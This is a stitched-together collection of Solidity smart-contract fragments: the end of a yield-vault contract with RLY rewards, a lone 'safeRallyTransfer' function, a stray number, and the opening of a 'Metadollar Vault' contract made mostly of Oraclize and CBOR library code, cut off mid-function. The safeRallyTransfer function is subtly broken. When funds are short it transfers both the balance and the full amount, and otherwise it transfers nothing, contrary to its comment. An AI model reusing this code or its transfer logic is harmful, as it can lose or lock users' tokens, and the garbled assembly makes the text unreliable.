_availableYield = availableYield(); if (_availableYield > 0) { uint256 rallyReward = _availableYield.mul(delegatePercent).div(10000).mul(rewardPerToken).div(1e18); rewards.transferReward(rallyReward); IERC20(vault).safeTransfer(treasury, _availableYield.mul(delegatePercent).div(10000)); accRallyPerShare = accRallyPerShare.add(rallyReward.mul(1e12).div(totalSupply())); totalDeposits = balance().mul(Vault(vault).getPricePerFullShare()).div(1e18); } } //one way ticket and only callable once function enableLiquidityRewards(address _lrPools, uint256 _pid) public onlyOwner { (IERC20 lpToken,,,) = NoMintLiquidityRewardPools(_lrPools).poolInfo(_pid); require(address(lpToken) == address(this), "invalid liquidity rewards setup"); require(lrEnabled == false, "liquidity rewards already enabled"); lrEnabled = true; lrPools = NoMintLiquidityRewardPools(_lrPools); pid = _pid; } //override underlying _transfer implementation; YDV shares can only be transferred to/from the liquidity rewards pool function _transfer(address sender, address recipient, uint256 amount) internal override { require(lrEnabled, "transfer rejected"); require(sender == address(lrPools) || recipient == address(lrPools), "transfer rejected"); super._transfer(sender, recipient, amount); } }
Safe RLY transfer function, just in case pool does not have enough RLY; either rounding error or we're not supplying more rewards
function safeRallyTransfer(address _to, uint256 _amount) internal { uint256 rallyBal = rally.balanceOf(address(this)); if (_amount > rallyBal) { rally.transfer(_to, rallyBal); rally.transfer(_to, _amount); } }
10,546,385
pragma solidity ^0.4.16; // METADOLLAR (DOL) VAULT - COPYRIGHT 2018 METADOLLAR.ORG // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/issues/20 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } /* Begin solidity-cborutils https://github.com/smartcontractkit/solidity-cborutils MIT License Copyright (c) 2018 SmartContract ChainLink, Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint capacity) internal pure { if(capacity % 32 != 0) capacity += 32 - (capacity % 32); // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if(a > b) { return a; } return b; } /** * @dev Appends a byte array to the end of the buffer. Reverts if doing so * would exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, bytes data) internal pure returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, data.length) * 2); } uint dest; uint src; uint len = data.length; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + buffer length + sizeof(buffer length) dest := add(add(bufptr, buflen), 32) // Update buffer length mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } /** * @dev Appends a byte to the end of the buffer. Reverts if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, uint8 data) internal pure { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) // Update buffer length mstore(bufptr, add(buflen, 1)) } } /** * @dev Appends a byte to the end of the buffer. Reverts if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) * 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) + len let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure { if(value <= 23) { buf.append(uint8((major << 5) | value)); } else if(value <= 0xFF) { buf.append(uint8((major << 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8((major << 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8((major << 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8((major << 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure { buf.append(uint8((major << 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal pure { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal pure { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal pure { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } /* End solidity-cborutils */ contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } 